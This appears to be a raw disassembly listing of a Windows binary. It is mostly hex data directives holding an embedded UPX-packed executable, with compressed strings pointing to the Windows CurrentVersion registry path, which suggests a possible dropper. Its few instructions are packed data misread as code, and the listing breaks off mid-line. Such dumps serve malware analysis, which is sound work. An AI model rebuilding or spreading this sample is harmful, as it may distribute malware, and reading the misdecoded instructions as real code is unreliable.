'~Q ky',0 ; DATA XREF: sub_408048+21Ao aMzr db 'MZ',0 ; DATA XREF: sub_40844F+84o dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0C80000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 13h dup(0) dd 45500000h, 14C0000h, 88F20003h, 41CAh, 0 dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h dd 98200000h, 60000000h, 0A0000000h, 0 dd 10000040h, 2000000h, 40000h, 0 dd 40000h, 0 dd 0B0000000h, 10000000h, 0 dd 20000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 0A0000000h, 0D80000h, 1Ch dup(0) dd 50550000h, 3058h, 50000000h, 10000000h, 0 dd 4000000h, 3 dup(0) dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h dd 4000000h, 3 dup(0) dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h dd 3E000000h, 3 dup(0) dd 400000h, 0C000h, 42h dup(0) db 0Ah align 2 aInfoThisFileIs db '$Info: This file is packed with the UPX executable packer http://' db 'upx.tsx.org $',0Ah,0 aIdUpx1_07Copyr db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re' db 'served. $',0Ah,0 dw 5055h dd 90C2158h, 0A530902h, 0A837A262h, 72695F94h, 381F0000h dd 70000000h, 4260000h, 7EE93800h, 4D009208h, 300905Ah dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh, 0EBA1F0Eh dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h dd 7EE90F08h, 0E022B3h, 10E018A4h, 0F9257325h, 20B6366h dd 604501Eh, 0C96E676h, 710341Eh, 0F65E5920h, 29E0A006h dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h, 0E2D4C2AEh dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh, 0E6CEC0AAh dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh, 0CAD4A69Ah dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h, 41575446h dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh, 10447463h dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh, 0A5FF3F4Dh dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h, 257B00BBh dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch, 5FB5DF67h dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h, 6CC76972h dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh dd 732E126Fh, 35CBB79h, 0B835A0DDh, 5C214964h, 64723A5Dh dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh, 4B59542Dh dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh, 48534159h dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h dd 6D253525h, 0D97FD3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 57740150h push 24h dec ch imul ch adc eax, 8D1E112Ch inc ebp lock push eax or [eax], ebp movzx eax, word ptr [ebp-6] push eax mov esi, ds:74F3CF20h iret ; --------------------------------------------------------------------------- db 0Ah, 0FCh, 50h dd 0F6F8FE04h, 0FB9B66F4h, 858D50F7h, 0F0755B78h, 3826C068h dd 36CD10D6h, 0B017ECBBh, 14B468FEh, 0B76A0C4Fh, 4FB7F1Dh dd 0F9F75999h, 0C283DC5Fh, 2A505205h, 345DD60Ch, 73BDCC10h dd 38C4832Fh, 68502715h, 3B8129B0h, 5B7776DBh, 80A0BF8Fh dd 12285750h, 5214220Fh, 647736Eh, 373015A4h, 7D330876h dd 1766E6B0h, 6A2C310Bh, 0D8986809h, 0C9ECE761h, 28458830h dd 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h, 606C986Eh dd 0C95E5F12h, 0AEF22C3h, 18E11BEFh, 0A91D8B53h, 0FF336726h dd 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h, 0F08BDC1Ch dd 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah, 21D1756h dd 468D056Ah, 0DFB7F00Fh, 0F817B16h, 0D3B41859h, 0F467640h dd 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h, 0C73BDED9h dd 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h, 111CB3DBh dd 5E2A2BF8h, 0C2105021h, 823B6EEDh, 5803FA08h, 840A13E9h dd 0DD77FB62h, 300068F7h, 4C2E5783h, 3BD88B1Fh, 687D74DFh dd 3AD95C14h, 10481BB7h, 0B70A0468h, 60440EF4h, 6ABFBB6Fh dd 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h, 89F1F4BFh dd 0CB2BC87Eh, 4689C103h, 7E22210Bh, 0E10DB86Eh, 23B05356h dd 33E81040h, 0EC6FEEF6h, 0F43C2DFh, 56535056h, 8C3C1656h dd 770974C6h, 9B8D17EEh, 0C710EB38h, 7EB0431h, 0ECDF3508h dd 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h, 0F605746h dd 66DF8E31h, 61FC96BBh, 0AF0F5424h, 0EB4A31Ch, 75FFFFDEh dd 0B907A121h, 35247621h, 7BFBC069h, 0C82B7F7Ch, 0C2126851h dd 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh, 155CC701h dd 500CA756h, 6BCC033h, 0CA1DD33h, 0A1609A6Bh, 1A3B6C5Dh dd 0D956D913h, 641A206Ah, 9D8DB438h, 0A2F0DE08h, 0B73816ECh dd 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh, 106A1301h dd 0E9B3D537h, 14FCAD99h, 284BC610h, 0CD73A702h, 0FDD8780Dh dd 7C514104h, 7A799D23h, 13E01511h, 59B5E078h, 44CF1F92h dd 0DB541112h, 0ED372E9h, 83F08B74h, 3902F74h, 5B64D9E8h dd 0A0567832h, 9D351270h, 6C572119h, 1F5E681Bh, 8986EF8Dh dd 0DB33537Dh, 64405357h, 6FBDEE90h, 5B83E70Bh, 0BE566C74h dd 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h, 3FD2D3ECh dd 74C0858Ah, 67849F36h, 0E19939D6h, 74766CE6h, 84202613h dd 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h, 5E3FB067h dd 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh, 3D66590Eh dd 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h, 151FAF6Fh dd 0EBEC77C9h, 3B664101h, 1B2373C8h, 0BE17FFC9h, 6DF002B4h dd 1778F12Bh, 8148DC5h, 1A148A47h, 61059488h, 6D7B6376h dd 7E6DC718h, 0C62F7AEBh, 90A618B7h, 245C644Ch, 0AF9D560Ch dd 57FFDDB7h, 10247C8Bh, 197EDB85h, 2EAB0A6Eh, 7D1A6AC0h dd 0FFFEE678h, 8861C280h, 3B463E14h, 80E77CF3h, 32001F24h dd 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h, 777550BCh dd 237BF0C6h, 0A151930Bh, 536FF898h, 0B0B64F84h, 0FC1BDA0Bh dd 2404C711h, 7B01C75Ch, 59D676F6h, 2E7559D7h, 13546815h dd 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh, 68F1BDAFh dd 0A929193Ch, 505959E0h, 95F7C358h, 0CC27027h, 1703189Bh dd 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h, 85BD95B7h dd 1FE934Fh, 0BF5D940Eh, 64C9C9ADh, 7B575D9Ch, 7C9DF8F0h dd 30BB6D93h, 9F6880A5h, 0B44EB1E1h, 0C0A359CDh, 0ACA43F00h dd 315F5F7Bh, 12353C7Ch, 960C7024h, 4505B36Eh, 0E564BFA0h dd 5A786657h, 6DB755A0h, 9B9C2613h, 5FDB93Dh, 0E8E6EBEBh dd 34680CFCh, 6CC7580Ah, 7B167716h, 2733756Ah, 5F17E15Dh dd 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h, 41135006h dd 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h, 1F20B710h dd 57816E74h, 257126Dh, 6F09B0C3h, 0D7611EB5h, 0B7518C8h dd 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h, 3EB799BEh dd 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h, 6283568Dh dd 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h, 3DA21B5Eh dd 0FB59BB6Fh, 9D5C8BEAh, 74037468h, 0DB768BD7h, 14ED95A3h dd 5609F685h, 752A6146h, 0B7F6FB7Fh, 0F03BDF1Ch, 718D0375h dd 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h, 5104C183h dd 20D003EBh, 14021847h, 0D674B3F5h, 4552AF10h, 1CC25DB4h dd 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh, 20C46818h dd 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h, 0C4202BD8h dd 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h, 0D81B6914h dd 8E7C1D19h, 0A04514h, 565E5308h, 12CC170Ah, 4D61605Eh dd 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h, 21170BDh dd 0EA8B0575h, 12CB3CEBh, 0C187CD06h, 6810AFBCh, 1A8A53A4h dd 36276FCh, 3931EB76h, 0BA5D0C7Dh, 191E05D2h, 2EB17D0h dd 5BB81EE0h, 30F6DD6Bh, 8D00575Fh, 0DC91AE71h, 344AC57Eh dd 0E942189h, 6DAE08C2h, 0BF98F138h, 78570880h, 12DB098Eh dd 85E8BEFh, 2F0C331h, 74C3FDF4h, 7449205Ch, 0C7C82C14h dd 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h, 510CEFE8h dd 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h, 9B5071E4h dd 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h, 753BC445h dd 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h, 4D17DE35h dd 6895910h, 0CFA69106h, 0B986F977h, 8A040883h, 1010E04h dd 5D270C46h, 106D78FBh, 7AD518E7h, 534244C7h, 76398D9Dh dd 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh, 2B6DF6AAh dd 0B54CB46Ch, 89630CC9h, 4B565F01h, 5DDC6214h, 418B4C5Bh dd 0B455A420h, 314CDED6h, 3F6856E1h, 5D00A4CFh, 88661647h dd 5741415h, 336CEB67h, 0A6278CDCh, 1DA9AAh, 9C1B6332h dd 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh, 0BB648AFBh dd 9897785Eh, 1261C10Bh, 52135868h, 0FBC228D0h, 0A1642E21h dd 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h, 27240C29h dd 7BD757F4h, 30BBBB0h, 0F86850C3h, 0B76CC0Ah, 4014E4B4h dd 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h, 6BFBF192h dd 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h, 5B4F9493h dd 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh, 7C5B3BC8h dd 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h, 1F76FFE9h dd 0E0757546h, 86E1BC3h, 0E00381AEh, 0B9616480h, 3105BAB1h dd 4D450CCh, 0A6DDA60Ch, 1D5FA246h, 50DA1E08h, 0CF3CD804h dd 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah, 6A040506h dd 18F9EF9Eh, 2040308h, 53B60601h, 6A716023h, 58859215h dd 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h, 50AE2350h dd 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h, 0C483D911h dd 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh, 37D3D907h dd 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h, 0B4F072CCh dd 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h, 0CDF6ABFFh dd 9FA17C2Ch, 3B0C55C0h, 0D7992D6h, 0B42E9EA5h, 1DE677FCh dd 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h, 48A2973h dd 0C0458839h, 972303Ch dd 1D73393Ch, 7D778F4Dh, 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh dd 6EBD8F1h, 0FD0EB41h, 28850F39h, 0BD1FEDBCh, 3BF64A8Dh dd 5C1548F1h, 0DFFFFD73h, 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh dd 0C8A2673h, 0BC4D8838h, 9A2DF980h, 0A53B6B1h, 0C9595404h dd 37DBDB77h, 253075DBh, 65830409h, 391000D4h, 0AFA0D44Dh dd 76DED966h, 3B568DBFh, 8A1F75C2h, 0D8E8B838h, 80C9A78h dd 43A41905h, 0D8CC36C1h, 0D4ADF8D6h, 5181802Eh, 3C62D0F6h dd 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h, 3E440E02h dd 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h, 83C40B12h dd 37B704C8h, 5C24AEEh, 0C40A7F32h, 4057C01h, 895D7E0Ch dd 0A1A06237h, 6E31043Eh, 5AD40506h, 7530E6ECh, 74310607h dd 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h, 921418BBh dd 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h, 9CDB5878h dd 0C5691967h, 5DB3D35Dh, 3C80FDB0h, 662E9EBFh, 2F4F048Bh dd 7E10F2A0h, 0D7C35B9h, 0E33A097Fh, 0C33BC475h, 5321C972h dd 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h, 7CB2BF08h dd 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch, 0B34DEFC6h dd 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h, 0C26F3394h dd 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h, 5FF2C477h dd 770465C2h, 0C483DA04h, 6A535330h, 0DF074C0Ah, 0FF0CACD6h dd 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh, 1EA8E4AAh dd 9037D90Ch, 0A48D91h, 0F3A3A8A8h, 66F1A36Fh, 857C83h dd 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh, 11C847FFh dd 885216C8h, 394AE60h, 6EB7FA26h, 5CFD4B46h, 6212ECEBh dd 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah, 196D866Dh dd 0F51A1CA5h, 29C11E05h, 936CD263h, 24D00C22h, 0D6FABE8h dd 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h, 0C60E16F0h dd 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h, 903722A8h dd 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h, 56B1027Eh dd 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh, 5F70818Dh dd 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh, 4173B87Dh dd 2D2BB8F8h, 0EC1342F6h, 1F04AD90h, 2D726750h, 3DBC4B6h dd 0D19015F7h, 55C7D8E8h, 0F336DB19h, 165543A3h, 6F470B0Eh dd 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh, 0A4C7814Fh dd 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh, 0AC752B00h dd 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h, 0F5044789h dd 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h, 1047322Bh dd 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h, 186E401Dh dd 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh, 9E9C980Eh dd 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh, 46110B74h dd 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah, 0CA532084h, 5B1F77B9h dd 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h, 72B43C9h dd 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h, 0E0358605h dd 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h, 0EC18DB59h dd 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h, 0FF646F7Fh dd 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h, 50271068h dd 39CE84ECh, 0CDE98C4h, 0EE721183h, 7A3D8BA5h, 0A0B912FEh dd 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h, 0B37EBE5h dd 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh, 0B1DBFD7Bh dd 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h, 0CCD04DCDh dd 8C0E1863h, 0B0DDDBBh, 84EB711Eh, 0D31B30CBh, 9D90D868h dd 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h, 404C244Fh dd 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch, 0DB86C20h dd 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h, 6359F460h dd 0B2C87DAFh, 0B8500460h, 91223F0h, 8C1911ECh, 0EEC86154h dd 8359C80Bh, 4D8351C7h, 60C07CC8h, 5778EBF1h, 45F1C28h dd 5AF08EC6h, 0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h, 213976D0h dd 51A6C8B5h, 24CFB833h, 0A2893E89h, 4420FCBBh, 527DB884h dd 84AF6425h, 477E97D6h, 0C208C683h, 5ECF72F0h, 0CC0400A7h dd 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh, 280F474Ch dd 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h, 4C8C8E7h dd 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h, 0DCE08C8Ch dd 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h, 162D662Dh dd 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch, 0B748C8F1h dd 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h, 0C96F6029h dd 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h, 7E1680E1h dd 0D03DCC39h, 271B34F7h, 6F5085A8h, 0DF1B4820h, 0D97972Eh dd 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch, 0CB203A27h dd 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh, 0E8112898h dd 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h, 70636D65h dd 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h, 0C302C56Eh dd 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch, 5940333Fh dd 2505841h, 0F0F5A40h, 0F837FD32h, 0F490E3Ah, 7865AACAh dd 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h, 0ADB3696Fh dd 491BB2FDh, 7878435Fh, 48758546h, 0DEA3781Dh, 4513AF0Ah dd 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h, 3DB67D9Ch dd 14E4957h, 38F0C45h, 0B6418A6Ch, 7933DEE0h, 240BAA0Bh dd 76A83743h, 0BDBFB542h, 54600D60h, 7474DEDBh, 6FD35265h dd 0B7BA8105h, 37FFDB6h, 0E697257h dword_4439A4 dd 73966250h db 73h, 4Dh, 1Bh byte_4439AB db 72h ; DATA XREF: sub_44A577+3o dd 0EED7FB9Bh, 470189C7h, 644113F6h, 11177264h, 0A5D82E67h dd 6C75213Ah, 0D8095F4Fh, 356FFDAh, 74726956h, 416C6175h db 84h dword_4439D5 dd 0A84452Ah db 0C1h, 1Ch, 75h dd 4C310261h db 35h dword_4439E1 dd 0FFEA9BB5h dword_4439E5 dd 63695433h db 6Bh, 43h, 6Fh dd 2074E75h, 86B60649h, 2BD5AEEDh, 2E64656Bh, 97670363h dd 0C04AEB57h, 50754D41h, 930F6555h, 0A1364DEAh, 0DAD1452Fh dd 5961FDFEh, 6C5F0388h, 0F500DB63h, 461D5302h, 0A56DBC80h dd 0D6D6710h, 9E47014Fh, 8BDD70E0h, 0B8F6F25h, 0D5797021h dd 0A66BF6B6h, 0F795323h, 1EBE44EBh, 0C5AE6ECh, 27316F1h dd 4E32335Bh, 26B2BB6h, 497530D7h, 0E6C8718Ch, 6525CB68h dd 0DF68AD06h, 6F70AA96h, 1870B0A3h, 70616E53h db 61h, 6Bh dword_443A76 dd 6F2846DDh dw 0D51Bh dd 1E627F43h, 82DB784Bh, 6D654144h, 0BB4645DBh, 4EA57C33h dd 32915EAh, 37140B53h, 0EC16D8h, 6E1A2FDAh, 0F92FD230h dd 0D5AACD86h, 0C85AC3ACh, 4CF2DAD6h, 11A04561h, 66F74685h dd 76453B9Dh, 0F4A1FAEh, 0C2B46064h, 7F7AAEh, 49FB6544h dd 671E886Fh, 4C76D6D5h, 1F31E500h, 80007965h, 2ED56137h dd 5DC88702h, 13868D96h, 6592453Ch, 4466123h, 68D80160h dd 426C2553h, 0F8D4CF75h, 4902A900h, 2DEB721Ch, 0AD6C735Bh dd 430A7043h, 53C2694Ch, 7386C9BDh, 765F3D21h, 4B08C288h dd 9F79D528h, 0F436BBF1h, 0FF501C68h, 45007D18h, 0F6532EDBh dd 69694508h, 9F685C64h, 428DB76Ah, 146C2767h, 0CA267942h dd 55D1CE6Eh, 6927284Fh, 330787Ah, 9B556309h, 6AB00F45h dd 0F8DFE9h, 3C52454Bh, 5D0BC74Ch, 2D870A9h, 6682635Dh dd 0C2187B71h db 8Ch, 25h dword_443B72 dd 71D6FC80h dw 0E9C3h dd 65061789h, 64D07267h, 3B36ED25h, 0E3007Ch, 553F0CAFh dd 76B65A53h, 1C5761E1h, 756AF900h, 0B06BB3EEh, 149C009Dh dd 17D73B7h, 0ADC936C3h, 7075126Fh, 0A7759656h, 6901621Eh dd 343D01A8h, 16F0528Bh, 0C620D48Eh, 0F8A9654Bh, 4336440Dh dd 9A3034CCh, 0D6D8CC1Fh, 20EC3BDFh, 56444112h, 4B83496Fh dd 25617942h, 27556F43h, 67856C11h, 47300F66h, 390F5475h dd 0D6036B0Dh, 916F1F49h, 5160AE3Ch, 0FFCE0084h, 3F50DFD6h dd 60335C33h, 3A336C33h, 3380337Ch, 0FF90338Ch, 33FF06FFh dd 33B933AFh, 1BEB33C4h, 22340934h, 53343134h, 79345A34h dd 0FF348434h, 0A8FFFFFFh, 0CC34BB34h, 634F634h, 31352B35h dd 4E353B35h, 7D355D35h, 8E358835h, 9D359335h, 0FF35A735h dd 0B4FFFFFFh, 0EA35D335h, 1035F535h, 40363536h, 5B364836h dd 66366136h, 90367736h, 0AB369736h, 0FF36B236h, 0C2FFFFFFh dd 0E636D136h, 18370436h, 2A372337h, 53373937h, 6F376837h dd 0F237C237h, 6937F937h, 5638B738h, 0CCFFFFFFh, 0EB38DE38h dd 2938FF38h, 5C395039h, 94398039h, 0A5399A39h, 0A539B839h dd 0FFFFFFFFh, 39CB39C5h, 39D839D2h, 39E539E0h, 3A0D39F8h dd 3A4F3A48h, 3A923A84h, 3AE43AA5h, 0FF3F3AEDh, 3BF16FFFh dd 0E273C12h, 3F3C383Ch, 0A33C5E3Ch, 0BE3CB13Ch, 43CF23Ch dd 0FF3DC73Dh, 0E5FFFFFFh, 133DF53Dh, 343E183Eh, 793E3A3Eh dd 983E7F3Eh, 503EE93Eh, 643F573Fh, 7B3F6B3Fh, 3F3F863Fh dd 98FFC34Ah, 0D13FCB3Fh, 0F13FEC3Fh, 73200F3Fh, 0FFFE302Ah dd 31B0FFFFh, 330A31B5h, 332A3320h, 33B03337h, 355333B5h dd 36153566h, 3633362Ch, 3657364Ah, 0FFFFFFDCh, 36ECC3EFh dd 37B43758h, 37F437C8h, 383637FAh, 38473840h, 38873859h dd 38A03899h, 0BFFF38A6h, 38ACFFFBh, 38B838B2h, 38C438BEh dd 0D1D838D2h, 39283922h, 393D392Eh, 39683951h, 40043984h dd 3990E358h, 9200F0ACh, 0FF8A1281h, 0FF65F7D0h, 0D00F75ABh dd 0BE6E3149h, 1ABF031Ah, 37DD0715h, 4D687CDFh, 37361AADh dd 3F1AB44Dh, 1AB868F6h, 4F522730h, 69E71464h, 5076863h dd 0B535F700h, 727CE4B9h, 31400140h, 2EB079Fh, 97139ABEh dd 0D2C31A0h, 0E9D8C80Bh, 403F601h, 7BC51927h, 0CA3BA0F2h dd 0DB0725FEh, 7C538A31h, 34603A30h, 0CEC2689Fh, 0E00492BDh dd 304F2338h, 0BC28A703h, 831CC840h, 2A7676A9h, 295407A3h dd 0A207602Bh, 7628C2Dh, 642B3B92h, 7461525Eh, 80FBE761h dd 46435307h, 0D8C80731h, 58DD65B2h, 2307AF54h, 0B34F072Ch dd 0E21D0A8Dh, 0D19F2Eh, 98A323EBh, 780F37Dh, 60E13B57h dd 2B27F14h, 0ED07C003h, 7F314651h, 0EB0332E2h, 0ACB36CEh dd 32F61833h, 0AA0BC013h, 9A69A603h, 60DE94A6h, 0B2C8384Ah dd 10FA9AEBh, 7A8B267Fh, 34D34433h, 3BC6375Dh, 7E9603B2h dd 34D3656Ah, 2E3E5E4Dh db 16h dword_443EA1 dd 0A69A31FEh db 69h, 9Ah, 0E6h dd 8CA6B8D0h, 9630E374h, 93315C6Dh, 0DF27025Bh, 4AA40414h dd 83535126h, 722EFFC9h, 0C1F954BFh, 20BB5051h, 0EAB75F20h dd 0C5FC821Fh, 7D8B2856h, 88B9C5FCh, 778297D4h, 0F3C0332Eh dd 358B5DABh, 0B73D0328h, 88A06E89h, 0E88845E4h, 6C8C1405h dd 0E08EE93h, 0D8D41DE4h, 872321C8h, 78DCD4D8h, 0E0C87632h dd 5DC0EE0h, 0EF92E4ECh, 0AD6E123h, 0B9FFF4FCh, 0C0839EC1h dd 0AC04133Ch, 33FC4EA6h, 0B78239F6h, 0F875F772h, 68144875h dd 382205FCh, 0CCD6646Ah, 0C4C83DF7h, 13221B22h, 333BEF18h dd 1C1634D9h, 0FF147414h, 500F3870h, 1682BAFBh, 1009FC8Bh dd 0A214EAh, 0E0CCBE7Ch, 0E14BF8D8h, 0CC86192Eh, 0F105F7Dh dd 1CA8EB7h, 70AC763Fh, 8D282A21h, 3B07F1BEh, 0C81274C7h dd 8BFFEEF6h, 88B0450h, 890A8950h, 441B0451h, 1DE8EB5Eh dd 3D8FB7D4h, 588D3F72h, 3D831FC4h, 4192C60h, 5B6F4175h dd 4E8D0CF1h, 0B02BA3Ch, 0CD404688h, 0A1DB0FD8h, 0C91AD24Ch dd 1D40568Ah, 23D9EBA0h, 4ABBB640h, 0EE76FFDCh, 0B67E10E1h dd 8D2E3407h, 354F4786h, 528FB10Ch, 0DC560114h, 141AFF03h dd 0D10E87A9h, 85F88B2Eh, 55B41FFFh, 8A973F3h, 186783h dd 11C47C7h, 73750DE1h, 6240600h, 8D0E460Dh, 4F8FB28Eh dd 4789FBC7h, 9E258A20h, 0F7768688h, 1A67F6B7h, 8904438Bh dd 38041F1Fh, 8A047B89h, 0DB361896h, 0AC97B367h, 0D0157505h dd 8E760040h, 47585EECh, 0C4B6FF4Dh, 7607EB0Bh, 1B1C3658h dd 8550A536h, 0E1803D07h, 9B3C2F34h, 636951CDh, 7194F8Bh dd 